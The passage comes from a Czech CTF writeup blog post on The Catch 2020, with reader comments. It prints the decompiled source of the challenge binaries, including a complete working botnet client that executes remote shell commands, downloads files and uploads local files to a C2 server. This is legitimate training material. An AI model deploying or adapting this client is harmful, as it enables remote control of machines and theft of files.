Mimochodem2, ty linuxové binárky šly dekompilovat tímhle, jediný zádrhel je, že se to musí dekompilovat s Pythonem 3.5, takže dost historická verze. Vůbec nechápu, proč jsem na to nenarazil (teda chápu, na dotazy jako pyinstaller decompile to není v gůglu, musí se použít klíčové slovíčko extract), zkoušel jsem všechny možné pyThaw, python-exe-unpacker, unfrozen_binary, unpy2exe a samozřejmě binwalk, samozřejmě neúspěšně. Abyste se s tím nemuseli trápit (a shánět Python 3.5), tak tady jsou předchozí úlohy dekompilované: Downloaded file:

# uncompyle6 version 3.7.4
# Python bytecode 3.5 (3351)
# Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39) 
# [GCC 6.3.0 20170516]
# Embedded file name: downloaded_client.py
"""
The Catch 2020 - Botnet client in "Downloaded file"
Client
"""
import sys, argparse, pyaes
__author__ = 'Aleš Padrta @ CESNET.CZ'
__version__ = '1.0'

def get_args():
    """
        Cmd line argument parsing (preprocessing)
        """
    parser = argparse.ArgumentParser(description='FT2-Botnet: Client')
    parser.add_argument('-ip', '--ipaddress', type=str, help='Server IP address', required=True)
    parser.add_argument('-p', '--port', type=int, help='Server port', required=True)
    args = parser.parse_args()
    return (
     args.ipaddress, args.port)


def get_key(srv_ip, srv_port):
    """
        Create key according to defined parameters
        """
    key_base = b"\xfdd\xe2\x95\x86\x14'9\xfb\x15\x82\xdb|\xc2=\xe7\xf0BT\xd3\x17`:\xeb\x97\x93"
    aeskey = key_base
    for octet in srv_ip.split('.'):
        aeskey = aeskey + int(octet).to_bytes(1, byteorder='big')

    aeskey = aeskey + srv_port.to_bytes(2, byteorder='big')
    return aeskey


def get_msg(key):
    """
        Create return message
        """
    encmsg = b"\xce\xedC\xa7\xe3\xf8\xc8U\xd0d'&cQ\x00py\x88\x8e\x1c \x0c\xb7\x9c\x08"
    aes = pyaes.AESModeOfOperationCTR(key)
    decmsg = aes.encrypt(encmsg)
    try:
        if 'FLAG' not in decmsg.decode():
            return 'invalid parameters'
    except Exception as excdesc:
        return 'invalid parameters'

    return decmsg.decode()


def main():
    """
        Main function
        """
    if sys.version_info[0] < 3:
        print('ERROR: Python3 required.')
        exit(1)
    srv_ip, srv_port = get_args()
    key = get_key(srv_ip, srv_port)
    msg = get_msg(key)
    print('{}'.format(msg))


main()

The Connection

# uncompyle6 version 3.7.4
# Python bytecode 3.5 (3351)
# Decompiled from: Python 3.5.3 (default, Sep 27 2018, 17:25:39) 
# [GCC 6.3.0 20170516]
# Embedded file name: /media/sf_the-catch-2020/the-catch-2020-general/challenges/the_connection/botnet_client.py
"""
The Catch 2020 - Botnet client for "The Connection"
"""
import os, sys, codecs, subprocess, argparse, base64, socket, string, struct, random
from time import sleep
import platform, requests
from getmac import get_mac_address
__author__ = 'Aleš Padrta @ CESNET.CZ'
__version__ = '1.0'

class Message:
    __doc__ = '\n\tBotnet message\n\t'
    plain = ''
    encoded = ''
    sckbuffer = bytearray()

    def __init__(self):
        """
                Constructor
                """
        self.plain = ''
        self.encoded = ''
        self.sckbuffer = bytearray()

    def set_plain(self, msg):
        """
                Initialize with decoded (plain) message
                """
        self.plain = msg
        self.encode_msg()

    def get_plain(self):
        """
                Return decoded (plain) message
                """
        return self.plain

    def set_encoded(self, msg):
        """
                Initialize with encoded message (debug purposes)
                """
        self.encoded = msg
        self.decode_msg()

    def get_encoded(self):
        """
                Return encoded message (debug purposes)
                """
        return self.encoded

    def encode_msg(self):
        """
                Encode plain message
                """
        basemsg = self.plain.encode()
        prefix = struct.pack('>Q', len(basemsg))
        self.encoded = prefix + basemsg

    def decode_msg(self):
        """
                Decode plain message
                """
        prefix = struct.unpack('>Q', self.encoded[0:8])[0]
        basemsg = self.encoded[8:]
        if len(basemsg) != prefix:
            self.plain = ''
            raise Exception('Inconsistence in message')
        self.plain = basemsg.decode()

    def send_msg(self, sck):
        """
                Send encoded message to socket
                """
        try:
            sck.sendall(self.encoded)
        except Exception as exc:
            raise

    def receive_msg(self, sck):
        """
                Receive encoded message from socket
                """
        try:
            raw_msglen = self.receive_all(sck, 8)
            if not raw_msglen:
                return
            else:
                msglen = struct.unpack('>Q', raw_msglen)[0]
                data = self.receive_all(sck, msglen)
                self.encoded = raw_msglen + data
                self.decode_msg()
                return len(self.encoded)
        except Exception:
            return

    def receive_all(self, sck, length):
        """
                Receive specified number of bytes (or return None if EOF is hit)
                """
        self.sckbuffer = bytearray()
        while len(self.sckbuffer) < length:
            packet = sck.recv(length - len(self.sckbuffer))
            if not packet:
                return
            self.sckbuffer.extend(packet)

        return self.sckbuffer


class BotnetClient:
    __doc__ = '\n\tClass for FT2-BotnetClient\n\t'
    client_id = None
    server_ip = ''
    time_out = 5
    server_port = 0
    beacon = 5
    stop = False
    nextmsg = None
    nexttype = None
    sck = None

    def __init__(self, srv_ip, srv_port):
        """
                Constructor
                """
        self.server_ip = srv_ip
        self.server_port = srv_port
        self.generate_id()
        self.beacon = 1
        self.stop = False
        self.time_out = 5
        self.nextmsg = None
        self.nexttype = None
        self.sck = None

    def generate_id(self):
        """
                Generate client ID
                """
        self.client_id = '{}'.format(''.join(random.sample(string.ascii_lowercase + string.digits, k=16)))

    def generate_readymsg(self):
        """
                Generate ready message
                """
        return '{};;ready'.format(self.client_id)

    def get_order(self):
        """
                Beacon and get order from server
                """
        msg = Message()
        msg.set_plain(self.generate_readymsg())
        msg.send_msg(self.sck)
        msg.set_plain('')
        msg.receive_msg(self.sck)
        details = ''
        order = ''
        if msg.get_plain().count(';;') < 1:
            order = msg.get_plain()
        else:
            order, details = msg.get_plain().split(';', 1)
        return (
         order, details)

    def order_execute(self, details):
        """
                Performning command "execute"
                """
        out = None
        err = None
        try:
            proc = subprocess.Popen(details.split(';'), stdout=subprocess.PIPE, shell=True)
            out, err = proc.communicate()
        except Exception:
            pass

        if os.device_encoding(0):
            self.nextmsg = '{};;result-execution;;{} {}'.format(self.client_id, out.decode(os.device_encoding(0)) if out else '', err.decode(os.device_encoding(0)) if err else '')
        else:
            self.nextmsg = '{};;result-execution;;{} {}'.format(self.client_id, out.decode() if out else '', err.decode() if err else '')
        self.nexttype = 'result-execution'

    def order_download(self, details):
        """
                Performning command "download"
                """
        download_file, download_url = details.split(';;', 1)
        response = None
        try:
            response = requests.get(download_url)
        except Exception:
            pass

        if response and response.status_code == 200:
            download_fileh = open(download_file, 'wb')
            download_fileh.write(response.content)
            download_fileh.close()
            self.nextmsg = '{};;info;;download-ok;;{} -> {}'.format(self.client_id, download_url, download_file)
        else:
            self.nextmsg = '{};;info;download-failed;;{}'.format(self.client_id, download_url)
        self.nexttype = 'info'

    def order_upload(self, details):
        """
                Performning command "upload"
                """
        upload_content = None
        try:
            fup = codecs.open(details, 'rb')
            upload_content = base64.b64encode(fup.read()).decode()
            fup.close()
        except Exception:
            pass

        if upload_content:
            self.nextmsg = '{};;file-upload;;{};;{}'.format(self.client_id, details, upload_content)
            self.nexttype = 'file-upload'
        else:
            self.nextmsg = '{};;info;;upload-failed;;{}'.format(self.client_id, details)
            self.nexttype = 'info'

    def sent_data(self):
        """
                Sending data prepared by performing previous order
                """
        msg = Message()
        msg.set_plain(self.nextmsg)
        print('-> Sending data ({})'.format(self.nexttype))
        msg.send_msg(self.sck)
        if self.nexttype in ('result-execution', 'file-upload'):
            msg.set_plain('')
            msg.receive_msg(self.sck)
            print('<- Server reply: {}'.format(msg.get_plain()))
        self.nextmsg = None
        self.nexttype = None

    def run(self):
        """
                Running the botnet client
                """
        msg = Message()
        print('The Catch 2020 Botnet Client started (server on {} port {})'.format(self.server_ip, self.server_port))
        while not self.stop:
            try:
                self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.sck.settimeout(self.time_out)
                self.sck.connect((self.server_ip, self.server_port))
            except socket.error as excdesc:
                print('Connection failed: {}'.format(excdesc))

            try:
                if not self.nextmsg:
                    order, details = self.get_order()
                    if order == 'wait':
                        self.beacon = int(details)
                    else:
                        if order == 'client-stop':
                            self.stop = True
                            self.sck.close()
                        else:
                            if order == 'execute':
                                self.order_execute(details)
                            else:
                                if order == 'download':
                                    self.order_download(details)
                                else:
                                    if order == 'upload':
                                        self.order_upload(details)
                                    else:
                                        print('Received unknown order')
                else:
                    self.sent_data()
                self.sck.close()
            except Exception:
                pass

            if not self.stop:
                sleep(self.beacon)
                self.beacon = self.beacon * 2.2

        self.logfile.log_entry('The Catch 2020 Botnet Clien stopped', 'info')
        self.logfile.close()


def get_args():
    """
        Cmd line argument parsing (preprocessing)
        """
    parser = argparse.ArgumentParser(description='The Catch 2020 Botnet Client')
    parser.add_argument('-ip', '--ipaddress', type=str, help='Server IP address', required=True)
    parser.add_argument('-p', '--port', type=int, help='Server port', required=True)
    args = parser.parse_args()
    return (
     args.ipaddress, args.port)


def main():
    """
        Main function
        """
    if sys.version_info[0] < 3:
        print('ERROR: Python3 required.')
        exit(1)
    srv_ip, srv_port = get_args()
    client = BotnetClient(srv_ip, srv_port)
    client.run()


main()
# okay decompiling botnet_client.pyc

Botnet master

Tohle je poslední úloha a nezvládl jsem ji. Jedná se o obdobu The Connection, ale do zpráv přibyly autentizační tagy. Po té, co jsem to vzdal, mi Vrtule prozradil, že to je SHA384 přes nějakou část toho stringu. SHA mě napadlo, ale myslel jsem si, že SHA jsou 224 - 256 - 448 - 512 bitů, takže 384 mi tam samozřejmě neseděla. Pro detaily si přečtěte writeup nějakého z vítězů, já se cizím peřím chlubit nebudu :-). Ve výsledku jsem tedy 53. a KUDOS všem těm 52 co to dali všechno.

       

Hodnocení: 100 %

        špatnédobré        

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (1) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

Gréta avatar 30.10.2020 14:48 Gréta | skóre: 36 | blog: Grétin blogísek | 🇮🇱==❤️ , 🇵🇸==💩 , 🇪🇺==☭
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin

tamto 53. místo zní jakoby děsně tragicky ale jeto furt prvních +-20% lidí noa navíc spousta jich určitě podvádělo dělalo ve víc lidech vopisovalo vod sebe nebo fuj používalo google dokonce :D :D ;D ;D

btw to psaní komentů do diskuze před vydáním blogísku de udělat uplně jednoduše ale golisoj sem slíbila žeto nikomu nepovim jak hele :O :O jeto ale fakt uplně jednoduchoučký :O :D :D ;D

oslavná píseň na pana soudruha generalisima prezidentčíka Petra Pavla Pávka 🎶🫡🦚🎶
Max avatar 30.10.2020 14:53 Max | skóre: 72 | blog: Max_Devaine
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Nejde, ten blog totiž musí být v nějakém stavu, aby šel dohledat a komentovat. Standardní rozepsaný blog to neumožňuje.
Zdar Max
Měl jsem sen ... :(
Jendа avatar 30.10.2020 14:57 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Já jsem mu nastavil plánované publikování na 12:10 a on se pak stejně odložil, takže jsem to teď ve 14:03 odkliknul ručně. Takže asi nefunguje plánované publikování (před 12:10 tam červeně svítilo že to čeká na datum publikace).

Jinak že jde k nevydaným blogům přistupovat bruteforcováním ID vím, proto jsem měl v plánu to psát lokálně a sem to nalejt až dneska dopoledne, protože by to někdo mohl najít a vyleakovat :). Ale nakonec jsem prokrastinoval tak dlouho, že jsem se k tomu stejně dřív než dneska nedostal.
Max avatar 30.10.2020 14:52 Max | skóre: 72 | blog: Max_Devaine
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin
Díky, opět za krásné sesumírování průběhu akce.
Zdar Max
PS: s tím sha 384 jsi mně překvapil, čekal jsem, že seznam nejznámějších šifer a délek dokážeš vyblejt o půlnoci v rozespalém stavu :).
Měl jsem sen ... :(
30.10.2020 19:19 Bherzet | skóre: 19 | blog: Bherzetův blog
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin
Tak na tohle bych asi neměl trpělivost. Smekám.
Jendа avatar 30.10.2020 22:21 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Si myslím, že jsem do toho nalil tak 10-11 hodin (začal jsem ve 12:10 a skončil v jednu v noci, ale nedělal jsem jenom to).
Petr Fiedler avatar 30.10.2020 21:56 Petr Fiedler | skóre: 35 | blog: Poradna | Brno
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin

Taky smekám!

31.10.2020 21:02 Swen
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin
Taky jsme se zúčastnili. Většinou se lidi střídali do tandemu k jednomu stálém matadorovi, podle toho, jak měl kdo čas. Já se účastnil podledních dvou.

Ransomware - to mi překvapivě sedlo a postupovali jsem přímočaře až k vlajce. V systému už mi sedí nějaký čas Python 3.8, ale nic moc jsem neřešil, nahodil jsem Docker python:3.6.12-xxx kontejner a dekompilace šla, jak po másle. Pochopit ten kód, to mi právě sedlo, takže setřídit správně soubory a prohnat to správně přes pro AES decrypt -- nebo klidně znovu přes crypt, páč CTR mód -- netrvalo nijak zvlášť dlouho.

Botnet master - tak tahle nám kladla slušný odpor, dokončili jsme po Ransomwaru. Analyzovat komunikaci nám relativně šlo, jen byly pravděpodobně některé stroje za NATem, ale to nám bohužel nedocházelo. Po mnohahodinovém čučení na to, co si mezi sebou posílají, a mnoha pokusech jsem pak dostal spásný nápad, co tomu C2 serveru poslat, aby pustil něco zajímavého. To čekání na nápad to bylo dost dlouhé.

Jestli jsi jel solo, tak jsi to měl určitě o poznání těžší.
15.11.2020 18:58 Kajus
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Odpovědět | Sbalit | Link | Blokovat | Admin
Co bylo to malé ocenění za write-up smím-li se zeptat? :)
Jendа avatar 21.11.2020 00:13 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Ptali se mě na velikost trička, takže předpokládám, že tričko.
Jendа avatar 29.11.2020 17:18 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: The Catch CTF 2020 writeup
Rouška, samolepky a tričko s nápisem RANSOMVID THREAD? NO PROBLEM! I'm THE hacker (zvýraznění moje).

Založit nové vláknoNahoru

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.